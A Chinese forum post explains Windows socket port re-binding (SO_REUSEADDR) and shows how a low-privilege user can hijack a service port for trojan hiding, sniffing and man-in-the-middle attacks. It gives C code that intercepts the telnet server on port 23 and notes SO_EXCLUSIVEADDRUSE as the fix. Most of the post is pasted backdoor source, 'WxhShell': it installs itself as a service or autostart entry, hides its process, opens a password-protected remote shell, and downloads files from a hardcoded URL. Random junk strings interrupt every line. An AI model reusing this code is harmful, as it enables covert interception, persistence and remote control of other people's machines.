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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q;#bFPh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'J)9#  
8g=];@z  
  saddr.sin_family = AF_INET; |"[;0)dw^  
(w`_{%T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w]fVELU  
>}/T&S  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F$'po#  
q,OCA\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wc#k@"2AZb  
k@pEs# a  
  这意味着什么?意味着可以进行如下的攻击: t. HwX9  
iVo-z#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X5(oL  
b>9?gmR{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v?}rA%so  
\9~Q+~@{G  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +jS<n13T  
k8i0`VY5Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7V5kYYR^F  
Y/LS(b*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /8u}VYE  
O]?\<&y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 EztuVe  
9?^0pR p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .krEfY&  
wa!z:}]  
  #include [q/eRIS_  
  #include =$T[  
  #include oTr,zRL  
  #include    06`caG|]-M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   79D;0  
  int main() ~Q]/=HK  
  { ?kRx;S+  
  WORD wVersionRequested; yTNHM_P  
  DWORD ret; ~S<}q6H.  
  WSADATA wsaData; \^!<Y\\  
  BOOL val; 1;!dTh  
  SOCKADDR_IN saddr; jaIcIc=Pf  
  SOCKADDR_IN scaddr; 7mn&w$MS4:  
  int err; ^)'D eP/  
  SOCKET s; fo <nk|i  
  SOCKET sc; m 0Uu2Z4  
  int caddsize; |h&okR+_,  
  HANDLE mt; *|cs_,3  
  DWORD tid;   `=kiqF2P}  
  wVersionRequested = MAKEWORD( 2, 2 ); +i}uRO  
  err = WSAStartup( wVersionRequested, &wsaData ); xa 967Ki9"  
  if ( err != 0 ) { vg1E@rH|}  
  printf("error!WSAStartup failed!\n"); O7od2fV(i7  
  return -1; ;y)3/46S  
  } DYrci?8Ith  
  saddr.sin_family = AF_INET; |O'gT8  
   z~i>GN_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #miG"2ea..  
Gz--C(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Fr<tk^~/  
  saddr.sin_port = htons(23); Xi~I<&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |Qpd<L  
  { .3>q3sS  
  printf("error!socket failed!\n");  feM(  
  return -1; ^`RMf5i1m  
  } !u/c'ZLZ>  
  val = TRUE; }0>\%C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 o*[[nK*fL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <"S`ZOn  
  { &#9HV  
  printf("error!setsockopt failed!\n"); g>a% gVly  
  return -1; %/}d'WJR  
  } !G<gp4Js+N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;g?o~ev 8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j*~z.Q|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cet|k!   
[vnxp/v/<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /8,cF7XL*  
  { 4KW_#d`t  
  ret=GetLastError(); -AQ 7Bd  
  printf("error!bind failed!\n"); L9l]0C37e  
  return -1; }_Y\6fcd  
  } oJc7a z  
  listen(s,2); 3qDuF  
  while(1) #?Ob->v  
  { ,0?3k  
  caddsize = sizeof(scaddr); b8 6c[2  
  //接受连接请求 J6nH|s8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "rrE_  
  if(sc!=INVALID_SOCKET) N0YJ'.=8,  
  { _z#S8Y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E< pO!P  
  if(mt==NULL) bV*q~ @xh  
  { ! OOOc  
  printf("Thread Creat Failed!\n"); ph3dm\U.  
  break; o KY0e&5  
  } 461p4)  
  } o%h[o9i  
  CloseHandle(mt); "&\]1A}Z-x  
  } oCKn  
  closesocket(s); iH-(_$f;  
  WSACleanup(); .]; `  
  return 0; xfqU atC  
  }   n,p \~Tu,  
  DWORD WINAPI ClientThread(LPVOID lpParam) J& D0,cuk  
  { j$k/oQ  
  SOCKET ss = (SOCKET)lpParam; Wf&i{3z[  
  SOCKET sc; u TmT'u:}  
  unsigned char buf[4096]; T 0?9F2  
  SOCKADDR_IN saddr; TezwcFqH  
  long num; D)eRk0iC  
  DWORD val; Oz=!EG|N  
  DWORD ret; `yM9XjEl>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "ZG2olOqLI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K3`48,`?wA  
  saddr.sin_family = AF_INET; UFj/Y;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WAVEwA`r  
  saddr.sin_port = htons(23); s~I#K[[5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x' 3kHw  
  { }G<A$*L1  
  printf("error!socket failed!\n"); %z["TVH  
  return -1; l, -q:8  
  } .j`8E^7<  
  val = 100; (=tu~ ^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wOR#sp&  
  { z| zd=3c  
  ret = GetLastError(); n:JG+1I  
  return -1; `^DP<&{  
  } r m dG"s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) buxyZV@1  
  { :;o?d&C  
  ret = GetLastError(); t=dZM}wj_\  
  return -1; >soSOJ[   
  } w6[$vib'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WZ ,t~TN  
  { Cx8  H  
  printf("error!socket connect failed!\n"); ~tqNxlA  
  closesocket(sc); t\lx*_lr  
  closesocket(ss); HjX)5@"o(  
  return -1; 4cAx9bqA  
  } UG,n q  
  while(1) 2Zi&=Zj"  
  { T!Uf PfEI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'h{DjNSM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }-paGM@'Nd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x_x|D|@wM  
  num = recv(ss,buf,4096,0); cONfHl{  
  if(num>0) i$4lBy_2  
  send(sc,buf,num,0); Wr.~Ns <  
  else if(num==0) [,mcvO;  
  break; yx/qp<=  
  num = recv(sc,buf,4096,0); |( R[5q  
  if(num>0) #pX+~ {  
  send(ss,buf,num,0); Bh!J&SM:  
  else if(num==0) BsN~Z!kd  
  break; }/Y)^  
  } 'a enh j  
  closesocket(ss);  %L gfi  
  closesocket(sc); LY(h>`  
  return 0 ; ij1g2^],4  
  } Z!qF0UDj  
}ilX 2s?>  
}F (lffb  
========================================================== !)'|Y5 o  
2v\-xg%1  
下边附上一个代码,,WXhSHELL &8 4Izs/[  
6c&OR2HGqO  
========================================================== `z3"zso  
@7<m.?A!  
#include "stdafx.h" ` G.:G/b%H  
*gXm&/2*  
#include <stdio.h> w'Q2Czso  
#include <string.h> &0S/]E`_M  
#include <windows.h> @?"t&h  
#include <winsock2.h> 1Du9N[2'P  
#include <winsvc.h> ^o*$+DbC  
#include <urlmon.h> F`YxH*tO7  
&g-uQBQI#  
#pragma comment (lib, "Ws2_32.lib") 5Ai$1'*p  
#pragma comment (lib, "urlmon.lib") VR0#"  
mPo].z  
#define MAX_USER   100 // 最大客户端连接数 U9p^?\-=  
#define BUF_SOCK   200 // sock buffer V/7?]?!xu  
#define KEY_BUFF   255 // 输入 buffer R|H_F#eVn}  
oJTsrc_ -  
#define REBOOT     0   // 重启 b(H) 8#C  
#define SHUTDOWN   1   // 关机 ?YbZVoD)J  
cZXra(AD  
#define DEF_PORT   5000 // 监听端口 ;M Z@2CO  
CDM==Xa*  
#define REG_LEN     16   // 注册表键长度 Bh,LJawE  
#define SVC_LEN     80   // NT服务名长度 wY j~(P"  
' ! ls"qo  
// 从dll定义API S+YbsLf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TID0x/j"K5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VG`A* Vj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )WFSUZ~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L~FE;*>7  
8;s$?*G i  
// wxhshell配置信息 wfrWpz=FO  
struct WSCFG { +iPS=?S  
  int ws_port;         // 监听端口 5&r2a}K  
  char ws_passstr[REG_LEN]; // 口令 LvNk:99:<  
  int ws_autoins;       // 安装标记, 1=yes 0=no Zb7:qe<UN  
  char ws_regname[REG_LEN]; // 注册表键名 }`9}Q O  
  char ws_svcname[REG_LEN]; // 服务名 c!%:f^7g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ynN[N(m#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 []M+(8Z_P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N7xkkAS{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rXz,<^Hmj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lA<IcW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U)p P^:|  
rLcQG  
}; (Rk g  
J)n g,i  
// default Wxhshell configuration &7X0 ;<  
struct WSCFG wscfg={DEF_PORT, ud-.R~f{e  
    "xuhuanlingzhe", .0q %A1H  
    1, mYk5f_}  
    "Wxhshell", yXw xq(32  
    "Wxhshell", y o[!q|z  
            "WxhShell Service", gGU3e(!Uc  
    "Wrsky Windows CmdShell Service", c"J(? 1O  
    "Please Input Your Password: ", /=\__$l)  
  1, ~4*9w3t   
  "http://www.wrsky.com/wxhshell.exe", w|PZSOJ  
  "Wxhshell.exe" 0p$?-81BJ  
    }; @11voD  
<S0!$.Kg*<  
// 消息定义模块 !U/: !e`N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3<msiC P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xb3vvHdI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n@g[VR2t  
char *msg_ws_ext="\n\rExit."; ^LT9t2  
char *msg_ws_end="\n\rQuit."; M)EUR0>8  
char *msg_ws_boot="\n\rReboot..."; 4aB`wA^x  
char *msg_ws_poff="\n\rShutdown..."; ( L RX  
char *msg_ws_down="\n\rSave to "; qTyU1RU$9^  
Qq]UEI `Go  
char *msg_ws_err="\n\rErr!"; b)w3 G%Xx  
char *msg_ws_ok="\n\rOK!"; qBX<{[  
O,JthlAV4  
char ExeFile[MAX_PATH]; 6aQ{EO-]'=  
int nUser = 0; Zml9 ndzT  
HANDLE handles[MAX_USER]; ZLKS4  
int OsIsNt; wQnr*kyza  
nhXa&Nro  
SERVICE_STATUS       serviceStatus; o(~JZi k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dGh<R|U3  
ieS5*@^k  
// 函数声明 HNjkRl)QR  
int Install(void); +bf%]   
int Uninstall(void); Z{_'V+Q1  
int DownloadFile(char *sURL, SOCKET wsh); <)n   
int Boot(int flag); n7<<}wcV  
void HideProc(void); !b _<_Y{l  
int GetOsVer(void); 9fl !CG  
int Wxhshell(SOCKET wsl); 3+ i(fg_  
void TalkWithClient(void *cs); u{p\8v%7  
int CmdShell(SOCKET sock); /e{Oqhf[n  
int StartFromService(void); EUna_ 4=  
int StartWxhshell(LPSTR lpCmdLine); @1Zf&'/6  
*%)L?*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'OX6e Y5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nVyb B~.=  
^2^ptQj  
// 数据结构和表定义 c@nl;u)n  
SERVICE_TABLE_ENTRY DispatchTable[] = B~PF<8h5  
{ Fx3VQ'%J  
{wscfg.ws_svcname, NTServiceMain}, 6/#= dv  
{NULL, NULL} QdW%5lM+  
}; 5&9(d_#H  
{&h&:  
// 自我安装 ":-)mfgGU  
int Install(void) &aF_y_f\  
{ 0U/:Tpyr  
  char svExeFile[MAX_PATH]; ?ST}0F00}  
  HKEY key; Bxa],inuZ  
  strcpy(svExeFile,ExeFile); 7L-%5:1%  
uqO51V~  
// 如果是win9x系统,修改注册表设为自启动 ZA9']u%EJ  
if(!OsIsNt) { y6PAXvv'{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iPFYG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >$Fc=~;Ba  
  RegCloseKey(key); aF;&#TsB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'Ux_X:,:;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $Jr`4s  
  RegCloseKey(key); 'Yd%Tb|*  
  return 0; A|>C3S  
    } UxS;m4  
  } yh0|f94m  
} q/B+F%QiMQ  
else { h |lQ TT  
j{;3+LCo*  
// 如果是NT以上系统,安装为系统服务 Y?5yzD:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -91l"sI  
if (schSCManager!=0) c~tSt.^WX  
{ s?6 7@\  
  SC_HANDLE schService = CreateService Sm Ei _u]'  
  ( mm{U5  
  schSCManager, #VO2O0GR  
  wscfg.ws_svcname, .nSupTyG  
  wscfg.ws_svcdisp, G1nW{vce  
  SERVICE_ALL_ACCESS, RV$+g.4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Asn0&Ys4  
  SERVICE_AUTO_START, 5PPy+36<~  
  SERVICE_ERROR_NORMAL, )-QNWN H  
  svExeFile, b?bYPN+  
  NULL, -DuiK:mp  
  NULL, 9Y4N  
  NULL,  R_N<j  
  NULL, 52["+1g\  
  NULL ILO+=xU  
  ); 3w9 ]@kU  
  if (schService!=0) v|/3Mi9mz  
  { GVfu_z?  
  CloseServiceHandle(schService); bK].qN  
  CloseServiceHandle(schSCManager); b #^aM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ( Lu.^  
  strcat(svExeFile,wscfg.ws_svcname); QhG-1P3#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I| j tpv}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /SUV'J)  
  RegCloseKey(key); O\LW 8\M  
  return 0; 6_y|4!,:W  
    } (k5DbP[  
  } X<m%EXvV  
  CloseServiceHandle(schSCManager); a?Y1G3U'  
} d=#p w*w  
} @\D D|o67  
y{{EC#  
return 1; vaf9b}FL  
} avpw+M6+  
*QG3Jz  
// 自我卸载 NDOZ!`LqH  
int Uninstall(void) &CL|q+-  
{ ).]m@g:ew  
  HKEY key; C^%zV>o  
uTU4Fn\$L  
if(!OsIsNt) { l'W+^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tRy D@}  
  RegDeleteValue(key,wscfg.ws_regname); Z8&C-yCC  
  RegCloseKey(key); UC1!J =f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I:e2sE ":  
  RegDeleteValue(key,wscfg.ws_regname); N-rm k  
  RegCloseKey(key); & .?HuK  
  return 0; 2Z O'X9  
  } )KqR8UO  
} X?6h>%) k  
} eCp|QSXE  
else { KCk?)Qv  
~& 5&s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A(n=kx  
if (schSCManager!=0) DVhTb  
{ q~J oGTv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~+#--BhV  
  if (schService!=0) |"yf@^kdC  
  { %<?ciU  
  if(DeleteService(schService)!=0) { JQ_gM._3  
  CloseServiceHandle(schService); ;:c%l.Y2  
  CloseServiceHandle(schSCManager); Ys$YI{  
  return 0; B/=q_.1F>  
  } @LKG\zYBu  
  CloseServiceHandle(schService); DnHAm q]  
  } RW 7oL:$dt  
  CloseServiceHandle(schSCManager); b|dCEmFt  
} $G_Q`w=jM  
} _GO+fB/Q1  
R*@[P g*  
return 1; d_C4B  
} _?s %MNaX  
hRr1#'&  
// 从指定url下载文件 v1r_Z($  
int DownloadFile(char *sURL, SOCKET wsh) T;4` wB8@  
{ % kx ^/DH  
  HRESULT hr; cH;TnuX  
char seps[]= "/"; n`)7Y`hBhP  
char *token; bW9"0=j[{  
char *file; )M'UASB;8  
char myURL[MAX_PATH]; u5Ny=Xm  
char myFILE[MAX_PATH]; M{xVkXc>  
Q)S>VDLA  
strcpy(myURL,sURL); 0i\',h}9  
  token=strtok(myURL,seps); "]m*816'  
  while(token!=NULL) 7"q+"0G  
  { `x} Dk<HF  
    file=token; qon{ g  
  token=strtok(NULL,seps); i7nL_N  
  } VI24+h'J  
ADGnBYE  
GetCurrentDirectory(MAX_PATH,myFILE); =dM.7$6) R  
strcat(myFILE, "\\"); poD \C;o"  
strcat(myFILE, file); jJVT_8J  
  send(wsh,myFILE,strlen(myFILE),0); 90s;/y(  
send(wsh,"...",3,0); +~d1 ;0l|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |rFR8srPG  
  if(hr==S_OK) sz/*w7  
return 0; f<89$/w  
else HK0::6n{  
return 1; V5a?=vK9  
t<sNc8x  
} Ad;S=h8:  
JoCA{Fa}  
// 系统电源模块 .G}k/`a  
int Boot(int flag) yW\XNX  
{ 5g``30:o  
  HANDLE hToken; 'j,oIqx  
  TOKEN_PRIVILEGES tkp; hCM8/Vvx6  
MBB5wj  
  if(OsIsNt) { ]U,CKJF%/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9 g Bjxqm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H&X:!xa5  
    tkp.PrivilegeCount = 1; JI"/N`-?;b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ; 8P_av}C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fcRj  
if(flag==REBOOT) { pI7Ssvi^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M$Fth*q{GD  
  return 0; |gnAqkW0  
} RF_[?O)Q  
else { w[(n>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *hVb5CS  
  return 0; _Vjpw,  
} P:sAqvH6  
  } Y4#y34 We  
  else { {A|bBg1!  
if(flag==REBOOT) { #{!O,`qD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !?nu?  
  return 0; 90~*dNk  
} H]s4% 9T  
else { &=6%>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bV@7mmz:X+  
  return 0; +W9]ED  
} :pwa{P  
} Ap%O~wA'  
p8=|5.  
return 1; k6@b|  
} 0[/vQ+O]2  
{FWyu5.  
// win9x进程隐藏模块 $uCiXDKCq  
void HideProc(void) 2"@Ft()]  
{ \c{R <Hh  
B{p4G`$i1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dK.R[ aQ  
  if ( hKernel != NULL ) !.EcP=S  
  { Ep mJWbU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c3] C:t+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e*:}$u8 a  
    FreeLibrary(hKernel); -#aZF2z   
  } =}v ;1m  
66Gx.tE  
return; EKuSnlTXba  
} ?; [ T  
WL l_'2h  
// 获取操作系统版本 V&i2L.{G)  
int GetOsVer(void) 'wZ_4XjD  
{ R}r~p?(M  
  OSVERSIONINFO winfo; !\;:36B#6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,=|4:F9  
  GetVersionEx(&winfo); /s|{by`we4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CWi8Fv  
  return 1;  (#o t^  
  else _ h9o@  
  return 0; )iU^&@[S  
} .:y5U}vR  
=i>\2J%'R  
// 客户端句柄模块 :)IV!_>'d  
int Wxhshell(SOCKET wsl) kUa)smh  
{ Oz{%k#X-  
  SOCKET wsh; d~@q%-`lA  
  struct sockaddr_in client; ?x3Jv<G0*  
  DWORD myID; -7%X]  
|]W2EV ,b  
  while(nUser<MAX_USER) Au.:OeJm  
{ \a))  
  int nSize=sizeof(client); x<ax9{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i#W*'   
  if(wsh==INVALID_SOCKET) return 1; 2z_2.0/3  
Zx{96G+1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |g-b8+.=]  
if(handles[nUser]==0) T8XY fcc*h  
  closesocket(wsh); 6/tI8H3E  
else ;..o7I  
  nUser++; pQWHG#?7  
  } s0C:m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qi9-z'  
>jx.R  
  return 0; -5b A $  
} mfom=-q3k  
)TJS4?  
// 关闭 socket vl:J40Kfn  
void CloseIt(SOCKET wsh) [}2Z/   
{ &@v<nO-  
closesocket(wsh); PJLR<9  
nUser--; ^6;V}2>v}  
ExitThread(0); qOy=O [+9  
} B_^]C9C|  
^G|98yc!'  
// 客户端请求句柄 p_2pU)%  
void TalkWithClient(void *cs) Bv9kSu9'~  
{ H!)=y  
@ -:]P8  
  SOCKET wsh=(SOCKET)cs; TgfrI  
  char pwd[SVC_LEN]; ,EpH4*e  
  char cmd[KEY_BUFF]; izZ=d5+K  
char chr[1]; ?j O 5 9n  
int i,j; C~4PE>YtTv  
\7v)iG|#G&  
  while (nUser < MAX_USER) { ~DF:lqwWP  
Pbu{'y3J  
if(wscfg.ws_passstr) { Sq2P-y!w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?KE$r~dn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kkCZNQ~I  
  //ZeroMemory(pwd,KEY_BUFF); (Ddp|a"b  
      i=0; !mJo'K  
  while(i<SVC_LEN) { Ao9R:|9  
C$yq\C+I  
  // 设置超时 <skajQQ  
  fd_set FdRead; &^".2)zU  
  struct timeval TimeOut; '0RwO[A#1  
  FD_ZERO(&FdRead); TQ@d~GR  
  FD_SET(wsh,&FdRead); /t%u"dP"T~  
  TimeOut.tv_sec=8; OE`X<h4r  
  TimeOut.tv_usec=0; 9~\kF5Q"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MCTsi:V>+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NH A5e<  
RFaSwf,5n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lUOvm\  
  pwd=chr[0]; XGrue6 ya  
  if(chr[0]==0xd || chr[0]==0xa) { H^%lDz  
  pwd=0; S$q =;"  
  break; IM@tN L  
  } .="bzgC3A  
  i++; *e>]~Z,  
    } OhZgcUqQ8  
=='Td[  
  // 如果是非法用户,关闭 socket CY:d`4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8IQtz2  
} }yn0IWVa  
bm~W EX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1c4/}3*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s ^Nw%KAv  
;|T!#@j  
while(1) { ]}="m2S3  
OR1DYHHT/1  
  ZeroMemory(cmd,KEY_BUFF); Uu s.  
 uF|3/x=  
      // 自动支持客户端 telnet标准   }|OaL*|u  
  j=0; "p&Y^]  
  while(j<KEY_BUFF) { $@-P5WcRs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6RO(]5wX  
  cmd[j]=chr[0]; f"[J "j8  
  if(chr[0]==0xa || chr[0]==0xd) { IY'=DePd  
  cmd[j]=0; Qd_6)M-  
  break; z;f2*F  
  } E51dV:l  
  j++; 1@48BN8cm'  
    } O|IG_RL]  
{Bs~lC$  
  // 下载文件 !3n)|~r;K  
  if(strstr(cmd,"http://")) { jdZ~z#`(!:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w27KI]%(  
  if(DownloadFile(cmd,wsh)) qU2~fNY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xazo 9J  
  else N[]Hc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =' ZRfb&  
  } zLs|tJOVp  
  else { "I?Am&>'  
n9w9JXp;!  
    switch(cmd[0]) { 6fH@wQ"wN  
  z?/1Kj}xG  
  // 帮助 ,[S+T.Cu  
  case '?': { sIG7S"k>p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ars687WB  
    break; 4'j sDcs  
  } n~"$^Vr  
  // 安装 4(e59ZgY  
  case 'i': { Q$& sTM  
    if(Install()) v 8T$ &-HJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nk=JBIsKv  
    else mpAR7AG6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \P} p5k[  
    break; 'E/*d2CDM(  
    } M` q?Fk  
  // 卸载 />¬$>  
  case 'r': { HX'FYt/?t  
    if(Uninstall()) 8h3=b[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yKYUsp  
    else *Do/+[Ae  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EXP%Mk/  
    break; Vd".u'r  
    } sw A+f   
  // 显示 wxhshell 所在路径 (8v7|Pe8  
  case 'p': { /? r?it  
    char svExeFile[MAX_PATH]; 4h5g'!9-g  
    strcpy(svExeFile,"\n\r"); JdIlWJY  
      strcat(svExeFile,ExeFile); ,jXM3?>B  
        send(wsh,svExeFile,strlen(svExeFile),0); FX9F"42@  
    break; aQI^^$9g  
    } ^w]/  
  // 重启 D9`0Dr}/2  
  case 'b': { uwRr LF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~m|Mg9-  
    if(Boot(REBOOT)) u0P)7~%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ??n*2s@t  
    else { : ^ 8  
    closesocket(wsh); $P1O>x>LIL  
    ExitThread(0); j p $Z]  
    }  Z%I  
    break; r]OK$Ql  
    } R!l:O=[<  
  // 关机 J_>w3uY  
  case 'd': { Pnd `=%w%]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nW;g28  
